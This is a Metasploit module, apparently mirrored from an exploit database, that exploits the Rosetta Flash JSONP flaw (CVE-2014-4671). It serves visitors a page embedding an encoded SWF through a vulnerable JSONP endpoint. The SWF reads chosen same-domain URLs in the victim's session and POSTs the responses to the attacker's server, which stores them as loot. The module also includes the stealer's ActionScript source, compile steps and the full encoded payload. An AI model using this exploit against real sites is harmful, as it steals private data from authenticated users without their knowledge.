Share
## https://sploitus.com/exploit?id=PACKETSTORM:180652
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',  
'Description' => %q{  
A website that serves a JSONP endpoint that accepts a custom alphanumeric  
callback of 1200 chars can be abused to serve an encoded swf payload that  
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.  
  
This module spins up a web server that, upon navigation from a user, attempts  
to abuse the specified JSONP endpoint URLs by stealing the response from  
GET requests to STEAL_URLS.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure  
'joev' # metasploit module  
],  
'References' =>  
[  
['CVE', '2014-4671'],  
['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],  
['URL', 'https://github.com/mikispag/rosettaflash'],  
['URL', 'https://www.quaxio.com/jsonp_handcrafted_flash_files/']  
],  
'DisclosureDate' => '2014-07-08',  
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer'))  
  
register_options(  
[  
OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),  
OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),  
OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),  
OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),  
OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])  
],  
self.class)  
end  
  
def run  
if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe  
raise "JSONP endpoint does not allow sufficiently long callback names."  
end  
  
unless datastore['URIPATH'] == '/'  
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."  
end  
  
exploit  
end  
  
def check  
test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)  
io = URI.parse(exploit_url(test_string)).open  
if io.read.start_with? test_string  
Msf::Exploit::CheckCode::Vulnerable  
else  
Msf::Exploit::CheckCode::Safe  
end  
end  
  
def on_request_uri(cli, request)  
vprint_status("Request '#{request.method} #{request.uri}'")  
if request.uri.end_with? 'crossdomain.xml'  
print_status "Responding to crossdomain request.."  
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')  
elsif request.uri.end_with? '.log'  
body = URI.decode(request.body)  
file = store_loot(  
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"  
)  
url = body.lines.first.gsub(/.*?=/,'')  
print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"  
print_good "Stored in #{file}"  
else  
print_status "Serving exploit HTML"  
send_response_html(cli, exploit_html)  
end  
end  
  
def exploit_url(data_payload)  
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end  
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"  
end  
  
def exploit_html  
ex_url = URI::DEFAULT_PARSER.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')  
%Q|  
<!doctype html>  
<html>  
<body>  
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"  
width=500 height=500>  
<param name="FlashVars"  
value="url=#{URI::DEFAULT_PARSER.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />  
</object>  
</body>  
</html>  
|  
end  
  
# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/  
#  
# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:  
#  
# class X {  
# static var app : X;  
#  
# function getURL(url:String) {  
# var r:LoadVars = new LoadVars();  
# r.onData = function(src:String) {  
# if (_root.exfiltrate) {  
# var w:LoadVars = new LoadVars();  
# w.x = url+"\n"+src;  
# w.sendAndLoad(_root.exfiltrate, w, "POST");  
# }  
# }  
# r.load(url, r, "GET");  
# }  
#  
# function X(mc) {  
# if (_root.url) {  
# var urls:Array = _root.url.split(",");  
# for (var i in urls) {  
# getURL(urls[i]);  
# }  
# }  
# }  
#  
# // entry point  
# static function main(mc) {  
# app = new X(mc);  
# }  
# }  
#  
#  
# Compiling the .as using mtasc and swftool:  
#  
# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as  
# $ swfcombine -d out.swf -o out-uncompressed.swf  
# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf  
#  
def encoded_swf  
"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \  
"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \  
"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \  
"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \  
"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \  
"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \  
"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \  
"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \  
"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \  
"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \  
"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \  
"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \  
"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \  
"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \  
"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \  
"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \  
"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \  
"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \  
"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \  
"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \  
"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \  
"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \  
"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \  
"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \  
"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \  
"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \  
"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \  
"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"  
end  
  
def crossdomain_xml  
%Q|  
<?xml version="1.0" ?>  
<cross-domain-policy>  
<allow-access-from domain="*" />  
</cross-domain-policy>  
|  
end  
  
def rhost  
URI.parse(datastore["JSONP_URL"]).host  
end  
end